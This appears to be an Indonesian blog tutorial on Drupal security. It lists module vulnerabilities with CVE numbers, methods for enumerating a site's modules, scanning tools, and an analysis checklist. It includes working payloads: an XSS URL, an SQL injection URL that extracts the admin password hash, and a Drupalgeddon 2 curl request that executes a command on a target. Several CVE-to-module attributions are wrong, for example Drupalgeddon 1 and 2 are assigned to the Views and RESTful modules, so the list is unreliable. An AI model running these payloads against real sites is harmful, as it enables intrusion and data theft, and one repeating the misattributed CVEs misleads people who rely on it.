Drupal memang dikenal sebagai CMS yang tingkat keamanannya lebih kuat dari pada Joomla atau pun WordPress. Tapi, walau pun tingkat keamanannya tinggi, terkadang CMS ini masih memiliki celah keamanan. Kesalahannya ada pada penggunanya, bukan pada Drupalnya. Biasanya, para pengguna malas melakukan update atau tidak tau cara melakukan setting keamanan konfigurasi websitenya sehingga membuat website mereka bisa dibobol oleh para penyerang.
Ada beberapa celah yang pernah terjadi pada Drupal, terutama pada modulnya. Baik itu dulu mau pun sekarang, celah ini masih sering ada jika tidak di update ke versi terbaru. Celah tersebut bisa berupa SQL Injection, RCE, File Upload, hingga Privilege Escalation. Berikut penjelasannya:
Beberapa celah keamanan pada Drupal.
- CKEditor
Vuln = XSS/RCE
CVE = CVE-2021-41164
Penjelasan = Bisa exploit via upload file .html yang berisi JS (JavaScript).
- Views
Vuln = SQL Injection
CVE = CVE-2014-3704
Penjelasan = Memungkinkan remote code execution (Drupalgeddon 1).
- RESTful Web Services
Vuln = RCE / Privilege Escalation
CVE = CVE-2018-7600 “Drupalgeddon 2”
Penjelasan = Bisa ambil alih situs sepenuhnya (Drupalgeddon 2).
- Webform
Vuln = XSS / Arbitrary File Upload
CVE = CVE-2020-13667
Penjelasan = Form input tidak disanitasi dengan baik.
- File Entity
Vuln = Arbitrary File Upload
CVE = CVE-2017-6921
Penjelasan = Penyerang bisa mengunggah file PHP secara tersembunyi.
- Services
Vuln = Remote Code Execution (RCE)
CVE = CVE-2013-6386
Penjelasan = Modul API yang memungkinkan panggilan fungsi PHP secara langsung.
- RESTWS (Restful Web Services)
Vuln = Auth Bypass / RCE
CVE = CVE-2017-6922
Penjelasan = Bisa autentikasi yang dilewati dengan crafted request. Bisa menggunakan tools seperti metasploit.
- Colorbox
Vuln = XSS
CVE = CVE-2022-25277
Penjelasan = bisa melakukan injection pada parameter galeri.
- Entity API
Vuln = Access Bypass
CVE = CVE-2016-7574
Penjelasan = Bisa membaca data sensitif tanpa izin dari admin.
- Panels / Views Bulk Operations
Vuln = CSRF / Access Escalation
Penjelasan = Aksi dimana admin bisa dijalankan tanpa harus autentikasi.
- MiniorangeSAML
Vuln = Privilege escalation via XML Signature Wrapping
Penjelasan = User bisa meregistrasikan diri dan mengubah izin sebagai user menjadi admin menggunakan Intercept di Burp Suite
- Avatar uploader
Vuln = Cross Site Scripting (XSS)
Versi = Drupal avatar_uploader v7.x-1.0-beta8
Penjelasan = bisa melakukan xss pada url form upload
Contoh = http://$target/avatar_uploader.pages.inc?file=<script>alert("test")</script>
Referensi = exploit-db
- Ajax Checklist
Vuln = Multiple SQL Injection
CVE = CVE-2008-5998
Penjelasan = bisa mengakses atau memodifikasi data, dan mengeksploitasi kerentanan laten dalam basis data yang mendasarinya.
Contoh = http://www.example.com/ajaxchecklist/save/1/2',2),(3,3,(select pass from users where uid=1),3),(4,4,'4/3/4)
Referensi = exploit-db
Cara Mengecek Modul Rentan di Situs Drupal
Kamu bisa mendeteksinya secara manual atau otomatis. Berikut beberapa metode:
1. Manual (via URL dan Source)
- Cek file CHANGELOG.txt atau core/ di root site → sering menampilkan versi Drupal.
- Coba akses:
/modules/
/sites/all/modules/
/sites/default/modules/
Biasanya akan terlihat nama modul yang aktif.
- Beberapa situs Drupal juga mengizinkan request:
/admin/modules
Kalau tidak dilindungi login, ini bisa bocor dan melihat daftar modul yang aktif.
2. Otomatis (menggunakan scanner)
Kamu bisa pakai tools seperti berikut:
- Recon / fingerprint = amass, subfinder, whatweb, wappalyzer
- Drupal-specific enumeration = droopescan
- Fuzzing / endpoint discovery = ffuf, dirsearch, gobuster
- Proxy / manual testing = Burp Suite (intercept, repeater)
- Web scanner (informational) = nikto
- Local environment = Docker untuk menjalankan versi Drupal + modul sumber yang sama
- CVE/advisories = NVD, advisories.drupal.org, cvedetails
Cara Melakukan Analisis Keamanan Drupal
Ada beberapa cara yang bisa dilakukan untuk menganalisis keamanan di Drupal:
1. Enumerasi modul aktif.
Fokus ke modul pihak ketiga (bukan core).
2. Cari file upload endpoint.
Modul seperti Webform atau File Entity sering menyediakan upload file tanpa filter MIME type atau mengizinkan seluruh file bisa di upload termasuk .php
3. Tes API endpoint.
Modul REST dan Services bisa jadi pintu RCE jika validasi request lemah.
4. Periksa konfigurasi default.
Banyak admin lupa menonaktifkan install.php, update.php, atau mengamankan path /admin/.
5. Gunakan database CVE.
Misalnya: https://www.cvedetails.com
Cari keyword: Drupal module [nama modul].
Contoh Eksploitasi Nyata (Hanya Untuk Edukasi)
Target: Modul RESTful (CVE-2018-7600)
Dampak: RCE (Remote Code Execution)
Payload singkat, misalnya:
$curl -s -X POST \
-d 'form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#markup]=ls' \
https://target.com/user/register
Kesimpulan:
Drupal bisa sangat aman, tapi begitu admin lupa atau malas mengupdate modul, celahnya bisa muncul tanpa admin ketahui.
Saat eksplorasi keamanan Drupal fokus pada: Enumerasi modul aktif, cek versi modul dan cocokkan dengan database CVE, lalu uji endpoint upload dan REST.
Sekian penjelasan dari saya.
Wassalamualaikum.


Ada pertanyaan? Tulis di kolom komentar atau klik dibawah ini ...